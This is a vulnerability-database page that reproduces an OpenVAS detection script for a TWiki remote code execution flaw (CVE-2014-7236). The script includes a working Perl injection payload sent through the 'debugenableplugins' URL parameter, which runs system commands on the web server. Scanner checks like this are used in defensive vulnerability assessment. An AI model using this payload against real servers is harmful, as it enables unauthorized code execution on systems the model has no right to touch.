Lucene search
+L

TWiki 'debugenableplugins' Parameter RCE Vulnerability

🗓️ 27 Oct 2014 00:00:00Reported by Copyright (C) 2014 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 25 Views

TWiki 'debugenableplugins' Parameter RCE Vulnerability in TWiki versions 6.0.0, 5.1.0-5.1.4, 5.0.0-5.0.2, 4.3.0-4.3.2, 4.2.0-4.2.4, 4.1.0-4.1.2, 4.0.0-4.0.5. Attackers can exploit this issue to execute arbitrary code in the context of the webserver user. Updates are available

Related
Refs
Code
# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:twiki:twiki";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105097");
  script_cve_id("CVE-2014-7236");
  script_tag(name:"cvss_base", value:"6.4");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:N");
  script_version("2024-06-28T15:38:46+0000");

  script_name("TWiki 'debugenableplugins' Parameter RCE Vulnerability");

  script_tag(name:"last_modification", value:"2024-06-28 15:38:46 +0000 (Fri, 28 Jun 2024)");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-02-20 15:23:00 +0000 (Thu, 20 Feb 2020)");
  script_tag(name:"creation_date", value:"2014-10-27 12:57:24 +0100 (Mon, 27 Oct 2014)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_dependencies("gb_twiki_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("twiki/detected");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/70372");
  script_xref(name:"URL", value:"http://twiki.org/");

  script_tag(name:"impact", value:"Attackers can exploit this issue
 to execute arbitrary code in the context of the webserver user.");

  script_tag(name:"vuldetect", value:"Send a HTTP GET request and check the response.");

  script_tag(name:"insight", value:"It is possible to execute arbitrary Perl code by adding a
'debugenableplugins=' parameter with a specially crafted value.");

  script_tag(name:"solution", value:"Updates are available.");
  script_tag(name:"summary", value:"TWiki is prone to a remote code execution (RCE)
  vulnerability.");

  script_tag(name:"affected", value:"TWiki 6.0.0, 5.1.0-5.1.4, 5.0.0-5.0.2, 4.3.0-4.3.2, 4.2.0-4.2.4, 4.1.0-4.1.2,
4.0.0-4.0.5.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) dir = '';

cmds = exploit_commands();

foreach cmd ( keys( cmds ) ) {
  ex = '?debugenableplugins=BackupRestorePlugin%3bprint("Content-Type:text/html\\r\\n\\r\\n")%3bprint(system("' +
       cmds[ cmd ]  + '"))%3bexit';
  url = dir + '/view/Main/WebHome' + ex;

  if( http_vuln_check( port:port, url:url, pattern:cmd, check_header:TRUE ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jun 2024 00:00Current
9.5High risk
Vulners AI Score9.5
CVSS 26.4
CVSS 3.19.1
EPSS0.55637
25